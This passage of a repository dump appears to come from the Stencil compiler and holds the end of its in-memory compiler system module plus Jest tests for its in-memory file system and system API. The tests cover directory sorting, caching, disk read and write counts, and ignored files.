'node_modules', opts.moduleId, opts.path);\n\n  const getRemoteModuleUrl = (opts: { moduleId: string; path: string; version?: string }) => {\n    const npmBaseUrl = 'https://cdn.jsdelivr.net/npm/';\n    const path = `${opts.moduleId}${opts.version ? '@' + opts.version : ''}/${opts.path}`;\n    return new URL(path, npmBaseUrl).href;\n  };\n\n  const fileWatchTimeout = 32;\n\n  createDirSync('/');\n\n  const sys: CompilerSystem = {\n    name: 'in-memory',\n    version,\n    events,\n    access,\n    accessSync,\n    addDestroy,\n    copyFile,\n    createDir,\n    createDirSync,\n    homeDir,\n    isTTY,\n    getEnvironmentVar,\n    destroy,\n    encodeToBase64,\n    exit: async (exitCode) => logger.warn(`exit ${exitCode}`),\n    getCurrentDirectory,\n    getCompilerExecutingPath,\n    getLocalModulePath,\n    getRemoteModuleUrl,\n    hardwareConcurrency,\n    isSymbolicLink,\n    nextTick,\n    normalizePath: normalize,\n    platformPath: path,\n    readDir,\n    readDirSync,\n    readFile,\n    readFileSync,\n    realpath,\n    realpathSync,\n    removeDestroy,\n    rename,\n    fetch,\n    resolvePath,\n    removeDir,\n    removeDirSync,\n    stat,\n    statSync,\n    tmpDirSync,\n    removeFile,\n    removeFileSync,\n    watchDirectory,\n    watchFile,\n    watchTimeout: fileWatchTimeout,\n    writeFile,\n    writeFileSync,\n    generateContentHash,\n    // no threading when we're running in-memory\n    createWorkerController: null,\n    details: {\n      cpuModel: '',\n      freemem: () => 0,\n      platform: '',\n      release: '',\n      totalmem: 0,\n    },\n    copy,\n  };\n\n  sys.resolveModuleId = (opts) => resolveModuleIdAsync(sys, null, opts);\n\n  return sys;\n};\n\ninterface FsItem {\n  data: string;\n  basename: string;\n  dirname: string;\n  isFile: boolean;\n  isDirectory: boolean;\n  watcherCallbacks: CompilerFileWatcherCallback[];\n}\n"
  },
  {
    "path": "src/compiler/sys/tests/in-memory-fs.spec.ts",
    "content": "import { createTestingSystem } from '../../../testing/testing-sys';\nimport { normalizePath } from '../../../utils';\nimport type { FsItem, FsItems } from '../in-memory-fs';\nimport { createInMemoryFs, getCommitInstructions, InMemoryFileSystem, shouldIgnore } from '../in-memory-fs';\n\ndescribe(`in-memory-fs, getCommitInstructions`, () => {\n  let items: FsItems;\n\n  beforeEach(() => {\n    items = new Map();\n  });\n\n  function fsItem(item: any): FsItem {\n    const defaultItem: Partial<FsItem> = {\n      exists: undefined,\n      fileText: undefined,\n      size: undefined,\n      mtimeMs: undefined,\n      isDirectory: undefined,\n      isFile: undefined,\n      queueCopyFileToDest: undefined,\n      queueDeleteFromDisk: undefined,\n      queueWriteToDisk: undefined,\n      useCache: undefined,\n    };\n    return Object.assign(defaultItem, item);\n  }\n\n  it(`dirsToDelete, sort longest to shortest, windows`, () => {\n    const root = normalizePath(`C:\\\\`);\n    const dir1 = normalizePath(`C:\\\\dir1\\\\`);\n    const dir2 = normalizePath(`C:\\\\dir1\\\\dir2\\\\`);\n    const dir3 = normalizePath(`C:\\\\dir1\\\\dir2\\\\dir3\\\\`);\n    items.set(root, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(dir2, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(dir3, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(dir1, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([]);\n    expect(i.dirsToDelete).toEqual([`C:/dir1/dir2/dir3`, `C:/dir1/dir2`, `C:/dir1`]);\n    expect(i.dirsToEnsure).toEqual([]);\n    expect(items.get(`C:/dir1`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`C:/dir1/dir2`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`C:/dir1/dir2/dir3`)?.queueDeleteFromDisk).toBe(false);\n  });\n\n  it(`dirsToDelete, sort longest to shortest, unix`, () => {\n    const root = normalizePath(`/`);\n    const dir1 = normalizePath(`/dir1`);\n    const dir2 = normalizePath(`/dir1/dir2/`);\n    const dir3 = normalizePath(`/dir1/dir2/dir3/`);\n    items.set(root, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(dir2, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(dir1, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(dir3, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([]);\n    expect(i.dirsToDelete).toEqual([`/dir1/dir2/dir3`, `/dir1/dir2`, `/dir1`]);\n    expect(i.dirsToEnsure).toEqual([]);\n    expect(items.get(`/dir1`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir1/dir2`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir1/dir2/dir3`)?.queueDeleteFromDisk).toBe(false);\n  });\n\n  it(`ensure dirs, sort shortest to longest, windows`, () => {\n    const file2 = normalizePath(`C:\\\\dir1\\\\dir2\\\\dir3\\\\file2.js`);\n    const dir1 = normalizePath(`C:\\\\dir1\\\\`);\n    const file1 = normalizePath(`C:\\\\dir1\\\\dir2\\\\file1.js`);\n    items.set(file2, fsItem({ queueWriteToDisk: true, isFile: true }));\n    items.set(dir1, fsItem({ queueWriteToDisk: true, isDirectory: true }));\n    items.set(file1, fsItem({ queueWriteToDisk: true, isFile: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([`C:/dir1/dir2/dir3/file2.js`, `C:/dir1/dir2/file1.js`]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([`C:/dir1`, `C:/dir1/dir2`, `C:/dir1/dir2/dir3`]);\n    expect(items.get(`C:/dir1`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`C:/dir1/dir2/file1.js`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`C:/dir1/dir2/dir3/file2.js`)?.queueDeleteFromDisk).toBe(false);\n  });\n\n  it(`ensure dirs, sort shortest to longest`, () => {\n    items.set(`/`, fsItem({ queueWriteToDisk: true, isDirectory: true }));\n    items.set(`/dir1/dir2/dir3/file2.js`, fsItem({ queueWriteToDisk: true, isFile: true }));\n    items.set(`/dir1`, fsItem({ queueWriteToDisk: true, isDirectory: true }));\n    items.set(`/dir1/dir2/file1.js`, fsItem({ queueWriteToDisk: true, isFile: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([`/dir1/dir2/dir3/file2.js`, `/dir1/dir2/file1.js`]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([`/dir1`, `/dir1/dir2`, `/dir1/dir2/dir3`]);\n    expect(items.get(`/dir1`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir1/dir2/file1.js`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir1/dir2/dir3/file2.js`)?.queueDeleteFromDisk).toBe(false);\n  });\n\n  it(`do not delete a files/directory if we also want to ensure it`, () => {\n    items.set(`/dir1/file1.js`, fsItem({ queueWriteToDisk: true, queueDeleteFromDisk: true, isFile: true }));\n    items.set(`/dir1`, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([`/dir1/file1.js`]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([`/dir1`]);\n    expect(items.get(`/dir1/file1.js`)?.queueWriteToDisk).toBe(false);\n  });\n\n  it(`queueDeleteFromDisk`, () => {\n    items.set(`/`, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(`/dir1`, fsItem({ queueDeleteFromDisk: true, isDirectory: true }));\n    items.set(`/dir1/file1.js`, fsItem({ queueDeleteFromDisk: true, isFile: true }));\n    items.set(`/dir2/file2.js`, fsItem({ queueDeleteFromDisk: true, isFile: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([`/dir1/file1.js`, `/dir2/file2.js`]);\n    expect(i.filesToWrite).toEqual([]);\n    expect(i.dirsToDelete).toEqual([`/dir1`]);\n    expect(i.dirsToEnsure).toEqual([]);\n    expect(items.get(`/dir1`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir1/file1.js`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir2/file2.js`)?.queueDeleteFromDisk).toBe(false);\n    expect(items.get(`/dir1`)?.queueDeleteFromDisk).toBe(false);\n  });\n\n  it(`write directory to disk`, () => {\n    items.set(`/dir1`, fsItem({ isDirectory: true, queueWriteToDisk: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([`/dir1`]);\n    expect(items.get(`/dir1`)?.queueWriteToDisk).toBe(false);\n  });\n\n  it(`write file queued even if it's also queueDeleteFromDisk`, () => {\n    items.set(`/dir1/file1.js`, fsItem({ queueWriteToDisk: true, queueDeleteFromDisk: true, isFile: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([`/dir1/file1.js`]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([`/dir1`]);\n    expect(items.get(`/dir1/file1.js`)?.queueWriteToDisk).toBe(false);\n  });\n\n  it(`write file queued`, () => {\n    items.set(`/dir1/file1.js`, fsItem({ queueWriteToDisk: true, isFile: true }));\n    items.set(`/dir1/file2.js`, fsItem({ queueWriteToDisk: true, isFile: true }));\n    items.set(`/dir2/file3.js`, fsItem({ queueWriteToDisk: true, isFile: true }));\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([`/dir1/file1.js`, `/dir1/file2.js`, `/dir2/file3.js`]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([`/dir1`, `/dir2`]);\n    expect(items.get(`/dir1/file1.js`)?.queueWriteToDisk).toBe(false);\n    expect(items.get(`/dir1/file2.js`)?.queueWriteToDisk).toBe(false);\n    expect(items.get(`/dir2/file3.js`)?.queueWriteToDisk).toBe(false);\n  });\n\n  it(`do nothing`, () => {\n    const i = getCommitInstructions(items);\n    expect(i.filesToDelete).toEqual([]);\n    expect(i.filesToWrite).toEqual([]);\n    expect(i.dirsToDelete).toEqual([]);\n    expect(i.dirsToEnsure).toEqual([]);\n  });\n});\n\ndescribe(`in-memory-fs`, () => {\n  let sys = createTestingSystem();\n  let fs: InMemoryFileSystem;\n\n  beforeEach(() => {\n    sys = createTestingSystem();\n    fs = createInMemoryFs(sys);\n  });\n\n  it(`access true`, async () => {\n    await fs.writeFile(`/file`, `content`);\n    await fs.commit();\n    fs.clearCache();\n\n    let result = await fs.access(`/file`);\n    expect(result).toBe(true);\n    expect(sys.diskReads).toBe(1);\n\n    result = await fs.access(`/file`);\n    expect(result).toBe(true);\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`access false`, async () => {\n    let result = await fs.access(`/file`);\n    await fs.commit();\n\n    expect(result).toBe(false);\n    expect(sys.diskReads).toBe(1);\n\n    result = await fs.access(`/file`);\n    expect(result).toBe(false);\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`accessSync true`, async () => {\n    await fs.writeFile(`/file`, `content`);\n    await fs.commit();\n    fs.clearCache();\n\n    let result = fs.accessSync(`/file`);\n    expect(result).toBe(true);\n    expect(sys.diskReads).toBe(1);\n\n    result = fs.accessSync(`/file`);\n    expect(result).toBe(true);\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`accessSync false`, async () => {\n    let result = fs.accessSync(`/file`);\n    expect(result).toBe(false);\n    expect(sys.diskReads).toBe(1);\n\n    result = fs.accessSync(`/file`);\n    expect(result).toBe(false);\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`copyFile`, async () => {\n    await fs.writeFile(`/src/file1.js`, `1`);\n    await fs.commit();\n    expect(sys.diskWrites).toBe(2);\n    sys.diskWrites = 0;\n    expect(sys.diskWrites).toBe(0);\n\n    await fs.copyFile(`/src/file1.js`, `/dest/file2.js`);\n    const results = await fs.commit();\n    expect(sys.diskWrites).toBe(2);\n    expect(results.dirsAdded).toEqual([`/dest`]);\n    expect(results.dirsDeleted).toEqual([]);\n    expect(results.filesWritten).toEqual([]);\n    expect(results.filesCopied).toEqual([[`/src/file1.js`, `/dest/file2.js`]]);\n\n    const file = await fs.readFile(`/dest/file2.js`);\n    expect(file).toBe(`1`);\n  });\n\n  it(`readdir combines both in-memory read w/ inMemoryOnly option and disk readdir reads`, async () => {\n    await fs.writeFile(`/dir/file1.js`, `1`);\n    await fs.commit();\n    await fs.writeFile(`/dir/file2.js`, `2`);\n    // NO COMMIT!\n\n    const files = await fs.readdir(`/dir`, { inMemoryOnly: true });\n    expect(files).toHaveLength(2);\n    expect(files[0].relPath).toBe('file1.js');\n    expect(files[1].relPath).toBe('file2.js');\n    expect(sys.diskReads).toBe(0);\n  });\n\n  it(`readdir does in-memory read w/ inMemoryOnly option, windoz`, async () => {\n    await fs.writeFile(`C:\\\\dir1`, `?`);\n    await fs.writeFile(`C:\\\\dir2`, `?`);\n    await fs.writeFile(`C:\\\\dir1\\\\dir2\\\\file1.js`, `1`);\n    await fs.writeFile(`C:\\\\dir1\\\\dir2\\\\file2.js`, `2`);\n    await fs.writeFile(`C:\\\\dir1\\\\dir2\\\\sub1\\\\file3.js`, `3`);\n    await fs.writeFile(`C:\\\\dir1\\\\dir2\\\\sub2\\\\file4.js`, `4`);\n    await fs.writeFile(`C:\\\\not-dir\\\\dir2\\\\file5.js`, `5`);\n    await fs.writeFile(`C:\\\\not-dir\\\\dir2\\\\file6.js`, `6`);\n    // NO COMMIT!\n\n    const files = await fs.readdir(`C:\\\\dir1\\\\dir2`, { inMemoryOnly: true });\n    expect(files).toHaveLength(2);\n    expect(files[0].absPath).toBe('C:/dir1/dir2/file1.js');\n    expect(files[1].absPath).toBe('C:/dir1/dir2/file2.js');\n    expect(sys.diskReads).toBe(0);\n  });\n\n  it(`readdir does in-memory read w/ inMemoryOnly option, not recursive`, async () => {\n    await fs.writeFile(`/dir1`, `?`);\n    await fs.writeFile(`/dir2`, `?`);\n    await fs.writeFile(`/dir1/dir2/file1.js`, `1`);\n    await fs.writeFile(`/dir1/dir2/file2.js`, `2`);\n    await fs.writeFile(`/dir1/dir2/sub1/file3.js`, `3`);\n    await fs.writeFile(`/dir1/dir2/sub2/file4.js`, `4`);\n    await fs.writeFile(`/not-dir/dir2/file5.js`, `5`);\n    await fs.writeFile(`/not-dir/dir2/file6.js`, `6`);\n    // NO COMMIT!\n\n    const files = await fs.readdir(`/dir1/dir2`, { inMemoryOnly: true, recursive: false });\n    expect(files).toHaveLength(2);\n    expect(files[0].absPath).toBe('/dir1/dir2/file1.js');\n    expect(files[1].absPath).toBe('/dir1/dir2/file2.js');\n    expect(sys.diskReads).toBe(0);\n  });\n\n  it(`readdir does in-memory read w/ inMemoryOnly option, recursive`, async () => {\n    await fs.writeFile(`/dir1`, `?`);\n    await fs.writeFile(`/dir2`, `?`);\n    await fs.writeFile(`/dir1/dir2/file1.js`, `1`);\n    await fs.writeFile(`/dir1/dir2/file2.js`, `2`);\n    await fs.writeFile(`/dir1/dir2/sub1/file3.js`, `3`);\n    await fs.writeFile(`/dir1/dir2/sub2/file4.js`, `4`);\n    await fs.writeFile(`/not-dir/dir2/file5.js`, `5`);\n    await fs.writeFile(`/not-dir/dir2/file6.js`, `6`);\n    // NO COMMIT!\n\n    const files = await fs.readdir(`/dir1/dir2`, { inMemoryOnly: true, recursive: true });\n    expect(files).toHaveLength(4);\n    expect(files[0].absPath).toBe('/dir1/dir2/file1.js');\n    expect(files[1].absPath).toBe('/dir1/dir2/file2.js');\n    expect(files[2].absPath).toBe('/dir1/dir2/sub1/file3.js');\n    expect(files[3].absPath).toBe('/dir1/dir2/sub2/file4.js');\n    expect(sys.diskReads).toBe(0);\n  });\n\n  it(`readdir does in-memory read w/ inMemoryOnly but does not throw error`, async () => {\n    let threwError = false;\n    try {\n      await fs.readdir(`/dir`, { inMemoryOnly: true });\n    } catch (e) {\n      threwError = true;\n    }\n    expect(threwError).toBe(false);\n  });\n\n  it(`readdir always does disk reads`, async () => {\n    await fs.writeFile(`/dir/file1.js`, `1`);\n    await fs.commit();\n\n    let files = await fs.readdir(`/dir`);\n    expect(sys.diskReads).toBe(1);\n    files = await fs.readdir(`/dir`);\n    expect(files).toHaveLength(1);\n    expect(sys.diskReads).toBe(2);\n  });\n\n  it(`readdir, recursive`, async () => {\n    await fs.writeFile(`/dir1/file1.js`, ``);\n    await fs.writeFile(`/dir1/file2.js`, ``);\n    await fs.writeFile(`/dir1/dir2/file1.js`, ``);\n    await fs.writeFile(`/dir1/dir2/file2.js`, ``);\n    await fs.writeFile(`/dir2/dir3/file1.js`, ``);\n    await fs.writeFile(`/dir2/dir3/dir4/file2.js`, ``);\n    await fs.commit();\n    fs.clearCache();\n    sys.diskReads = 0;\n\n    const items = await fs.readdir(`/dir1`, { recursive: true });\n    expect(items).toHaveLength(5);\n\n    expect(items[0].absPath).toBe(`/dir1/dir2`);\n    expect(items[0].relPath).toBe(`dir2`);\n    expect(items[0].isDirectory).toBe(true);\n    expect(items[0].isFile).toBe(false);\n\n    expect(items[1].absPath).toBe(`/dir1/dir2/file1.js`);\n    expect(items[2].absPath).toBe(`/dir1/dir2/file2.js`);\n\n    expect(items[3].absPath).toBe(`/dir1/file1.js`);\n    expect(items[3].relPath).toBe(`file1.js`);\n    expect(items[3].isFile).toBe(true);\n    expect(items[3].isDirectory).toBe(false);\n\n    expect(items[4].absPath).toBe(`/dir1/file2.js`);\n\n    expect(sys.diskReads).toBe(7);\n  });\n\n  it(`readdir, no recursive`, async () => {\n    await fs.writeFile(`/dir1/file1.js`, ``);\n    await fs.writeFile(`/dir1/file2.js`, ``);\n    await fs.writeFile(`/dir1/dir2/file1.js`, ``);\n    await fs.writeFile(`/dir1/dir2/file2.js`, ``);\n    await fs.writeFile(`/dir2/dir3/file1.js`, ``);\n    await fs.writeFile(`/dir2/dir3/dir4/file2.js`, ``);\n    await fs.commit();\n    fs.clearCache();\n    sys.diskReads = 0;\n\n    const items = await fs.readdir(`/dir1`);\n    expect(items).toHaveLength(3);\n    expect(items[0].absPath).toBe(`/dir1/dir2`);\n    expect(items[0].relPath).toBe(`dir2`);\n    expect(items[0].isDirectory).toBe(true);\n    expect(items[0].isFile).toBe(false);\n    expect(items[1].absPath).toBe(`/dir1/file1.js`);\n    expect(items[1].relPath).toBe(`file1.js`);\n    expect(items[1].isFile).toBe(true);\n    expect(items[1].isDirectory).toBe(false);\n    expect(items[2].absPath).toBe(`/dir1/file2.js`);\n    expect(sys.diskReads).toBe(4);\n    sys.diskReads = 0;\n\n    expect(await fs.access(`/dir1/file1.js`)).toBe(true);\n    expect(await fs.access(`/dir1/file2.js`)).toBe(true);\n    expect(await fs.access(`/dir1/dir2`)).toBe(true);\n    expect(sys.diskReads).toBe(0);\n    sys.diskReads = 0;\n\n    expect(await fs.access(`/dir2/dir3/dir4/file2.js`)).toBe(true);\n    expect(sys.diskReads).toBe(1);\n\n    const statsFile = await fs.stat(`/dir1/file1.js`);\n    expect(statsFile.isFile).toBe(true);\n\n    const statsDir = await fs.stat(`/dir2`);\n    expect(statsDir.isDirectory).toBe(true);\n  });\n\n  it(`readFile with diskRead and throw error for no file`, async () => {\n    try {\n      await fs.readFile(`/dir/file.js`);\n      await fs.commit();\n      expect(true).toBe(false);\n    } catch (e) {\n      expect(e).toBeDefined();\n    }\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`readFile with diskRead`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.commit();\n    fs.clearCache();\n\n    let content: string = '';\n    try {\n      content = await fs.readFile(`/dir/file.js`);\n    } catch (e) {\n      expect(true).toBe(false);\n    }\n    await fs.commit();\n    expect(sys.diskReads).toBe(1);\n    expect(content).toBe(`content`);\n\n    content = await fs.readFile(`/dir/file.js`);\n    await fs.commit();\n    expect(sys.diskReads).toBe(1);\n    expect(content).toBe(`content`);\n  });\n\n  it(`readFile with cache read`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.commit();\n    expect(sys.diskWrites).toBe(2);\n\n    const content = await fs.readFile(`/dir/file.js`);\n    await fs.commit();\n    expect(sys.diskReads).toBe(0);\n    expect(content).toBe(`content`);\n  });\n\n  it(`readFileSync with diskRead and throw error for no file`, async () => {\n    try {\n      fs.readFileSync(`/dir/file.js`);\n      expect(true).toBe(false);\n    } catch (e) {\n      expect(e).toBeDefined();\n    }\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`readFileSync with diskRead`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.commit();\n    fs.clearCache();\n\n    let content: string = '';\n    try {\n      content = fs.readFileSync(`/dir/file.js`);\n    } catch (e) {\n      expect(true).toBe(false);\n    }\n\n    expect(sys.diskReads).toBe(1);\n    expect(content).toBe(`content`);\n\n    content = fs.readFileSync(`/dir/file.js`);\n    expect(sys.diskReads).toBe(1);\n    expect(content).toBe(`content`);\n  });\n\n  it(`readFileSync with cache read`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.commit();\n\n    expect(sys.diskWrites).toBe(2);\n\n    const content = fs.readFileSync(`/dir/file.js`);\n    expect(sys.diskReads).toBe(0);\n    expect(content).toBe(`content`);\n  });\n\n  it(`removeFile`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.commit();\n\n    expect(await fs.access(`/dir/file.js`)).toBe(true);\n    await fs.commit();\n\n    await fs.remove(`/dir/file.js`);\n    await fs.commit();\n\n    expect(await fs.access(`/dir/file.js`)).toBe(false);\n  });\n\n  it(`removeDir`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.commit();\n\n    expect(await fs.access(`/dir/file.js`)).toBe(true);\n\n    await fs.remove(`/dir`);\n    await fs.commit();\n\n    expect(await fs.access(`/dir/file.js`)).toBe(false);\n  });\n\n  it(`stat with disk read`, async () => {\n    try {\n      await fs.stat(`/dir/file.js`);\n    } catch (e) {\n      expect(e).toBeDefined();\n    }\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`stat with cache read`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    await fs.stat(`/dir/file.js`);\n    expect(sys.diskReads).toBe(0);\n    await fs.stat(`/dir/file.js`);\n    expect(sys.diskReads).toBe(0);\n  });\n\n  it(`statSync with disk read`, async () => {\n    try {\n      fs.statSync(`/dir/file.js`);\n    } catch (e) {\n      expect(e).toBeDefined();\n    }\n    expect(sys.diskReads).toBe(1);\n  });\n\n  it(`statSync with cache read`, async () => {\n    await fs.writeFile(`/dir/file.js`, `content`);\n    fs.statSync(`/dir/file.js`);\n    expect(sys.diskReads).toBe(0);\n    fs.statSync(`/dir/file.js`);\n    expect(sys.diskReads).toBe(0);\n  });\n\n  it(`writeFile with queued disk write`, async () => {\n    await fs.writeFile(`/dir/file1.js`, `content`);\n    expect(sys.diskWrites).toBe(0);\n    await fs.writeFile(`/dir/file2.js`, `content`);\n    expect(sys.diskWrites).toBe(0);\n\n    const content = await fs.readFile(`/dir/file2.js`);\n    expect(content).toBe(`content`);\n    expect(sys.diskReads).toBe(0);\n\n    let i = await fs.commit();\n    expect(sys.diskWrites).toBe(3);\n    expect(i.filesWritten).toHaveLength(2);\n    expect(i.filesWritten[0]).toBe(`/dir/file1.js`);\n    expect(i.filesWritten[1]).toBe(`/dir/file2.js`);\n\n    sys.diskWrites = 0;\n    i = await fs.commit();\n    expect(sys.diskWrites).toBe(0);\n    expect(i.filesWritten).toHaveLength(0);\n  });\n\n  it(`writeFile with immediate disk write`, async () => {\n    await fs.writeFile(`/dir/file1.js`, `content`, { immediateWrite: true });\n    expect(sys.diskWrites).toBe(2);\n    await fs.writeFile(`/dir/file2.js`, `content`);\n    expect(sys.diskWrites).toBe(2);\n\n    const content = await fs.readFile(`/dir/file2.js`);\n    expect(content).toBe(`content`);\n    expect(sys.diskReads).toBe(1);\n\n    let i = await fs.commit();\n    expect(sys.diskWrites).toBe(4);\n    expect(i.filesWritten).toHaveLength(1);\n    expect(i.filesWritten[0]).toBe(`/dir/file2.js`);\n\n    sys.diskWrites = 1;\n    i = await fs.commit();\n    expect(sys.diskWrites).toBe(1);\n    expect(i.filesWritten).toHaveLength(0);\n  });\n\n  it(`writeFile doesnt rewrite same content`, async () => {\n    await fs.writeFile(`/dir/file1.js`, `1`);\n    await fs.writeFile(`/dir/file2.js`, `2`);\n    await fs.writeFile(`/dir/file2.js`, `2`);\n    await fs.writeFile(`/dir/file2.js`, `2`);\n    await fs.writeFile(`/dir/file2.js`, `2`);\n    await fs.writeFile(`/dir/file2.js`, `2`);\n\n    const i = await fs.commit();\n    expect(sys.diskWrites).toBe(3);\n    expect(i.filesWritten).toHaveLength(2);\n    expect(i.filesWritten[0]).toBe(`/dir/file1.js`);\n    expect(i.filesWritten[1]).toBe(`/dir/file2.js`);\n  });\n\n  it(`writeFile inMemoryOnly`, async () => {\n    sys.diskWrites = 0;\n    await fs.writeFile(`/dir/file1.js`, `content`, { inMemoryOnly: true });\n    expect(sys.diskWrites).toBe(0);\n\n    const content = await fs.readFile(`/dir/file1.js`);\n    expect(content).toBe(`content`);\n  });\n\n  it(`clearFileCache`, async () => {\n    await fs.writeFile(`/dir/file1.js`, `1`);\n    await fs.commit();\n\n    expect(fs.getItem(`/dir/file1.js`).fileText).toBe('1');\n    expect(fs.getItem(`/dir/file2.js`).exists).toBe(null);\n  });\n\n  it(`clearDirCache`, async () => {\n    await fs.writeFile(`/dir1/file1.js`, `1`);\n    await fs.writeFile(`/dir1/file2.js`, `2`);\n    await fs.writeFile(`/dir1/dir2/file3.js`, `3`);\n    await fs.writeFile(`/dir3/file4.js`, `4`);\n    await fs.commit();\n\n    fs.clearDirCache(`/dir1`);\n\n    expect(fs.getItem(`/dir1/file1.js`).exists).toBe(null);\n    expect(fs.getItem(`/dir1/file2.js`).exists).toBe(null);\n    expect(fs.getItem(`/dir1/dir2/file3.js`).exists).toBe(null);\n    expect(fs.getItem(`/dir3/file4.js`).fileText).toBe('4');\n  });\n\n  it(`clearDirCache windows`, async () => {\n    await fs.writeFile(`C:\\\\dir1\\\\file1.js`, `1`);\n    await fs.writeFile(`C:\\\\dir1\\\\file2.js`, `2`);\n    await fs.writeFile(`C:\\\\dir1\\\\dir2\\\\file3.js`, `3`);\n    await fs.writeFile(`C:\\\\dir3\\\\file4.js`, `4`);\n    await fs.commit();\n\n    fs.clearDirCache(`C:\\\\dir1`);\n\n    expect(fs.getItem(`C:\\\\dir1\\\\file1.js`).exists).toBe(null);\n    expect(fs.getItem(`C:\\\\dir1\\\\file2.js`).exists).toBe(null);\n    expect(fs.getItem(`C:\\\\dir1\\\\dir2\\\\file3.js`).exists).toBe(null);\n    expect(fs.getItem(`C:\\\\dir3\\\\file4.js`).fileText).toBe('4');\n  });\n\n  describe('fs utils', () => {\n    it('not shouldIgnore', () => {\n      const filePaths = [\n        '/file.ts',\n        '/file.tsx',\n        '/file.js',\n        '/file.jsx',\n        '/file.svg',\n        '/file.html',\n        '/file.txt',\n        '/file.md',\n        '/file.markdown',\n        '/file.json',\n        '/file.css',\n        '/file.scss',\n        '/file.sass',\n        '/file.less',\n        '/file.styl',\n      ];\n      filePaths.forEach((filePath) => {\n        expect(shouldIgnore(filePath)).toBe(false);\n      });\n    });\n\n    it('shouldIgnore', () => {\n      const filePaths = ['/User/.DS_Store', '/User/.gitignore', '/User/desktop.ini', '/User/thumbs.db'];\n      filePaths.forEach((filePath) => {\n        expect(shouldIgnore(filePath)).toBe(true);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/tests/stencil-sys.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { createSystem } from '../stencil-sys';\n\ndescribe('stencil system', () => {\n  let sys: d.CompilerSystem;\n  beforeEach(() => {\n    sys = createSystem();\n    sys.createDirSync('/');\n  });\n\n  it('read/write', async () => {\n    await sys.writeFile('/file1', 'file1');\n    const content = await sys.readFile('/file1');\n    expect(content).toBe('file1');\n\n    const dirStat = await sys.stat('/');\n    expect(dirStat.isFile).toBe(false);\n    expect(dirStat.isDirectory).toBe(true);\n\n    const fileStat = await sys.stat('/file1');\n    expect(fileStat.isFile).toBe(true);\n    expect(fileStat.isDirectory).toBe(false);\n  });\n\n  it('createDir', async () => {\n    const createDirResults = await sys.createDir('/a/b/c');\n    expect(createDirResults.basename).toBe('c');\n    expect(createDirResults.dirname).toBe('/a/b');\n    expect(createDirResults.path).toBe('/a/b/c');\n    expect(createDirResults.newDirs).toHaveLength(1);\n    expect(createDirResults.newDirs[0]).toBe('/a/b/c');\n    expect(createDirResults.error).toBe(null);\n  });\n\n  it('createDir recursive', async () => {\n    const createDirResults = await sys.createDir('/a/b/c', { recursive: true });\n    expect(createDirResults.basename).toBe('c');\n    expect(createDirResults.dirname).toBe('/a/b');\n    expect(createDirResults.path).toBe('/a/b/c');\n    expect(createDirResults.newDirs).toHaveLength(3);\n    expect(createDirResults.newDirs).toContain('/a');\n    expect(createDirResults.newDirs).toContain('/a/b');\n    